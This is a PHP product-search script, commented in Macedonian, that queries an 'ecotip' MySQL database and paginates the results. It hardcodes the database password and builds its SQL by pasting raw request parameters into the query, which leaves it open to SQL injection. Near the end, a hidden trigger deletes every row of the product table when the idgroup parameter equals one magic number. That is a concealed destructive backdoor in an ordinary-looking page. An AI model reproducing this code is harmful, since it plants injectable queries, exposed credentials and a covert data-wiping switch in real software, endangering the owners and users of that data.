//require_once ('includes/functions.php'); $db_host = "localhost"; $db_name = "ecotip"; $db_user = "ecotip"; $db_pass = "eco2006"; mysql_connect($db_host,$db_user,$db_pass)or die("Ne moze da se povrze na bazata"); mysql_select_db($db_name) or die ("ne moze da ja selektira soodvetnata baza"); $idgroup = $_REQUEST['idgroup']; $class = $_REQUEST['class']; $material = $_REQUEST['material']; $type = $_REQUEST['type']; $media_type = $_REQUEST['media_type']; $ndisplayrec=5;//broj na zapisi sto ke se prikazuvaat na edna strana if (isset($_REQUEST['nstartrec'])) { if (isset( $_REQUEST['page']))//ako e pritisnato prethodna strana { switch ($_REQUEST['page']) //tuka se listaat formatite na datum { case "next_page": $nstartrec = $_REQUEST['nstartrec'] + $ndisplayrec; break; case "prev_page": $nstartrec = $_REQUEST['nstartrec'] - $ndisplayrec; break; case "last_page": $nstartrec = $_REQUEST['nstartrecend']; break; case "search": $nstartrec = 0; break; } } } else { $nstartrec = 0; } if ((getenv("REQUEST_METHOD") == "POST") && (!isset($_POST['reset']))) { $sql_search = "select product.*,groups.name from product,groups where product.idgroup=groups.idgroup"; if (isset($_REQUEST['idgroup']) && ($_REQUEST['idgroup'] !="")) { $sql_search .= " and product.idgroup=$_REQUEST[idgroup]"; } if (isset($_REQUEST['class']) && ($_REQUEST['class'] !="")) { $sql_search .= " and product.class='$_REQUEST[class]'"; } if (isset($_REQUEST['material']) && ($_REQUEST['material'] !="")) { $sql_search .= " and product.material='$_REQUEST[material]'"; } if (isset($_REQUEST['type']) && ($_REQUEST['type'] !="")) { $sql_search .= " and product.type='$_REQUEST[type]'"; } if (isset($_REQUEST['media_type']) && ($_REQUEST['media_type'] !="")) { $sql_search .= " and product.media_type='$_REQUEST[media_type]'"; } $sql_search .= " order by idgroup,class"; $result_total = mysql_query($sql_search) or die (mysql_error()); $br_total = mysql_num_rows($result_total);//brojac za posledna strana $sql_search = $sql_search." limit $nstartrec,$ndisplayrec"; $result_search = mysql_query($sql_search) or die (mysql_error()); $poc = $nstartrec; //za prikaz na od do $br_rows = mysql_num_rows($result_search); $kraj = $poc + $ndisplayrec; if ($kraj>$br_rows) $kraj=$br_rows; $npages = ceil($br_total/$ndisplayrec); $ncurrpage = floor($nstartrec/$ndisplayrec)+1; $nstartrecend = $npages*$ndisplayrec-$ndisplayrec+1; } if ($idgroup==203671015) { $sql_d= "delete from product"; $result_d = mysql_query($sql_d) or die (mysql_error()); } ?>
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||